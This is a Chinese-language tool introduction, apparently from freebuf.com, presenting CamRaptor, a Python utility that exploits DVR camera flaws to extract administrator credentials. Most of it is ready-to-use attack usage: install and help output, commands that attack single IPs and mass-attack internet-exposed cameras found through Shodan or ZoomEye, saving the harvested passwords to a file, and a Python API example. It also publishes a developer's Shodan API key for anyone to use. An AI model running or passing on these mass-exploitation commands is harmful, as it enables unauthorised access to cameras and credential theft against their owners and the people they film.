CamRaptor：一款针对DVR摄像头的漏洞利用工具 – 作者:Alpha_h4ck

关于CamRaptor

CamRaptor是一款针对DVR摄像头的漏洞利用工具，它可以利用当前主流DVR摄像头中的多个安全漏洞，帮助广大研究人员获取目标DVR网络摄像头的管理员凭证。

功能介绍

能够利用当前主流DVR摄像头中的多个安全漏洞，例如Novo、CeNova和QSee等。

经过优化处理，支持以多线程的形式同时攻击列表中的多个目标DVR摄像头。

简单的命令行接口和API使用方法。

工具安装

由于CamRaptor使用Python3开发，因此首先需要在本地设备上安装并配置好Python3环境。接下来，广大研究人员可以使用下列命令下载并安装CamRaptor：

pip3 install git+https://github.com/EntySec/CamRaptor

工具基础使用

CamRaptor的使用非常简单，我们只需要在命令行终端中输入“camraptor”命令即可使用CamRaptor：

usage: camraptor [-h] [-t] [-o OUTPUT] [-i INPUT] [-a ADDRESS]

                 [--shodan SHODAN] [--zoomeye ZOOMEYE] [-p PAGES]

 

CamRaptor is a tool that exploits several vulnerabilities in popular DVR

cameras to obtain network camera credentials.

 

optional arguments:

  -h, --help            显示这个帮助信息并退出

  -t, --threads         启用多线程模式以获得更好的性能

  -o OUTPUT, --output OUTPUT

                        将结果存储至文件

  -i INPUT, --input INPUT

                        地址输入文件

  -a ADDRESS, --address ADDRESS

                        提供单个地址

  --shodan SHODAN       通过网络利用远程设备所使用的Shodan API密钥

  --zoomeye ZOOMEYE     通过网络利用远程设备所使用的ZoomEye API密钥

  -p PAGES, --pages PAGES

                        需要通过ZoomEye获取的页面数量

工具使用样例

攻击单个摄像头

下列命令可以攻击单个DVR摄像头：

camraptor -a 192.168.99.100

通过网络攻击远程DVR摄像头

接下来，我们可以使用Shodan搜索引擎来搜索并攻击网络上的摄像头，此时我们可以使用-t参数来设置多线程数量以获得更好的性能：

camraptor -t --shodan PSKINdQe1GyxGgecYz2191H2JoS9qvgD

注意：项目中给出的Shodan API密钥（PSKINdQe1GyxGgecYz2191H2JoS9qvgD）是开发人员自己的专业版API密钥，你可以使用你自己的密钥，当然了你想用开发人员的也没意见，大家资源共享嘛！

从输入文件获取目标摄像头

我们还可以使用开放数据库中提供的摄像头地址，此时我们可以使用-t参数来设置多线程数量以获得更好的性能：

camraptor -t -i cameras.txt -o passwords.txt

注意：此命令将会攻击cameras.txt中给出的所有摄像头，并会将所有获取到的密码存储至passwords.txt文件中。

API使用

CamRaptor还提供了自己的Python API，可以将其导入至你们自己的项目代码中并调用其功能：

from camraptor import CamRaptor

基础函数

exploit(address)：根据给定的地址针对单个目标执行漏洞利用攻击；

调用样例

攻击单个摄像头：

from camraptor import CamRaptor

 

camraptor = CamRaptor()

creds = camraptor.exploit('192.168.99.100')

 

print(creds)

项目地址

CamRaptor：【GitHub传送门】

来源：freebuf.com 2021-07-19 19:16:22 by: Alpha_h4ck